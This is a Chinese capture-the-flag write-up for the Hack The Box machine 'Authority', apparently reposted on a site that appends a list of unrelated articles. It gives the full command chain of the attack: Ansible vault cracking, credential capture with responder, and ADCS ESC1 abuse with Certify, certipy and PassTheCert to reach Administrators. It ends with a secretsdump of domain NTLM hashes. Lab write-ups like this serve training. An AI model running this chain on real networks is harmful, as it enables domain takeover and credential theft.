Hackthebox - Authority

#ansible #Certify
赛博雨天:https://yutianqaq.github.io/

Recon

smb

smbmap -H 10.10.11.222 -u ' '

挂载 smb 到 kali
mount -t cifs //10.10.11.222/Development ./smb -o username=smb

cat smb/Automation/Ansible/PWM/defaults/main.yml 得到 ansible 的加密 vault

Ansible

对于 ansible vault 加密,就是破解出 vault 的密码,再从 vault 中解出来存储的密码

  • Ansible - Pentester’s Promiscuous Notebook
    https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible

接下来使用 john 恢复

cat pwm_admin_password 
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531                                                                            
┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/S2/Authority]
└─$ ansible2john pwm_admin_password > pwm_admin_password.hash┌──(kali㉿kali)-[~/WorkSpace/Hackthebox/S2/Authority]
└─$ john -w=/usr/share/wordlists/rockyou.txt admin_login.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (hash)                                                           

解密 hash

cat pwm_admin_password | ansible-vault decrypt
Vault password: 
Decryption successful
pWm_@dm!N_!23  

此密码可以用于登录 PWM

PWM

使用得到的密码进入 Configuration Manager 登录 PWM

下载配置文件

修改配置后上传

使用 responder 监听
sudo responder -I tun0

得到明文密码

USER flag

登录到靶机
evil-winrm -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -i 10.10.11.222 -N

Privilege Escalation

根据前面在 smb 里看到 ADCS 目录以及 C 盘下的 Certs

上传 Certify 到靶机,得到一个脆弱的证书信息

*Evil-WinRM* PS C:\Users\svc_ldap\Downloads> upload Certify.exe       
*Evil-WinRM* PS C:\Users\svc_ldap\Downloads> .\Certify.exe find /vulnerable

根据得到信息,可以看到存在漏洞模板,但是需要 Domain Computers

ADCS ESC1

接下来创建一个机器账户

impacket-addcomputer  authority.htb/svc_ldap:'SVC_PASSWORD' -computer-name catcat$ -computer-pass Password123

使用Certipy,我们使用计算机帐户“catcat$”生成了一个证书请求,密码为“Password123”,模板为“CorpVPN”。

certipy req -u 'STX$' -p 'Password123!' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn administrator@authority.htb -dns authority.authority.htb -dc-ip 10.10.11.222

接下来,我们生成两个新证书:一个不包括私钥,另一个不包括证书。

certipy cert -pfx administrator_authority.pfx -nokey -out user.crt
certipy cert -pfx administrator_authority.pfx -nocert -out user.key

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

现在,使用 passcert.py 工具,我们可以使用证书对LDAPS服务器进行身份验证,从而将我们的用户添加到管理员组。

 wget https://raw.githubusercontent.com/AlmondOffSec/PassTheCert/main/Python/passthecert.py
python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222add_user_to_group svc_ldap Administrators

现在 svc_ldap 已经有了管理员权限

hashdump

python3 ~/Tools/impacket/examples/secretsdump.py svc_ldap:"lDaP_1n_th3_cle4r\!"@10.10.11.222 -just-dc-ntlm  Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::  
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::  
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:5f2d84fb5e44ccaddb52c672b9578fcb:::
  • Ansible - Pentester Promiscuous Notebook
    https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/508442.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java012 - Java集合基础

1、集合基础 1.1 集合概述 引用数据类型包括:类、接口、数组[] 1.2 ArrayList构造和添加方法 代码: 空集合对象:[] add() add(int index,E element): 1.3 ArrayList集合常用方法

前端开发 VSCode 插件推荐

1、Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code VS Code 的中文(简体)语言包,此中文(简体)语言包为 VS Code 提供本地化界面。 下载地址:Chinese (Simplified) (简体中文) La…

六、矩阵问题

73、矩阵置零(中等) 题目描述 给定一个 m x n 的矩阵,如果一个元素为 0 ,则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 示例 1: 输入:matrix [[1,1,1],[1,0,1],[1,1,1]] 输出&#xff1a…

使用query请求数据出现500的报错

我在写项目的时候遇到了一个问题,就是在存商品id的时候我将它使用了JSON.stringify的格式转换了!!!于是便爆出了500这个错误!!! 我将JSON.stringify的格式去除之后,它就正常显示了&…

可视化管理的kanban插件 | Obsidian实践

继上一篇文章之后,有朋友提问说: 刚好,关于kanban插件的素材,是之前一早就准备好的,便快速整理成文,简单分享一下个人实践。 Prompt:项目流程管理看板,色彩鲜艳。by 通义万象 看板管…

计算机网络-第2章 物理层

本章内容:物理层和数据通信的概念、传输媒体特点(不属于物理层)、信道复用、数字传输系统、宽带接入 2.1-2.2 物理层和数据通信的概念 物理层解决的问题:如何在传输媒体上传输数据比特流,屏蔽掉传输媒体和通信手段的差…

pywin32,一个超强的 Python 库!

更多Python学习内容:ipengtao.com 大家好,今天为大家分享一个超强的 Python 库 - pywin32。 Github地址:https://github.com/mhammond/pywin32 在Python的世界里,有许多优秀的第三方库可以帮助开发者更轻松地处理各种任务。其中&a…

前端 JS 经典:Content-type 详解

1. 什么是 Content-Type Content-Type 是 HTTP 协议中的一个请求头或响应头字段,用于指示发送或接收的实体的媒体类型,告诉服务器或客户端如何解析和处理请求或响应的主体部分。 2. Content-Type 的构成 Content-Type 由两部分组成:媒体类型…

十五 超级数据查看器 讲解稿 外观设置

十五 超级数据查看器 讲解稿 外观设置 视频讲座地址 讲解稿全文: 大家好,今天讲解超级数据查看器,详情界面的外观设置。 首先,我们打开超级数据查看器。 本节课以成语词典为例来做讲述。 我们打开成语词典这个表,随便选一条记录点击&#x…

Flink 定义 Temporal Table 的两种方式:Temporal Table DDL 和 Temporal Table Function

博主历时三年精心创作的《大数据平台架构与原型实现:数据中台建设实战》一书现已由知名IT图书品牌电子工业出版社博文视点出版发行,点击《重磅推荐:建大数据平台太难了!给我发个工程原型吧!》了解图书详情,…

20240301基于机器学习的低热导率多孔石墨烯设计

Name: Machine learning-based design of porous graphene with low thermal conductivity DOI: https://doi.org/10.1016/j.carbon.2019.10.037 总结:所有库训练CNN,证明可行,然后对同孔隙率结构,进行迭代…

整理的一些脑模板及节点的名称

整理的一些脑模板及节点的名称 前言模板简介AAL90模板HOA112 模板 前言 自己看论文找的,因为有些数据集网站的确有点难找到模板的名称等等。所以主要是看一些论文,因为有文献,所以更有保障一些。当然也有一些在数据网站上比较容易找到所以一…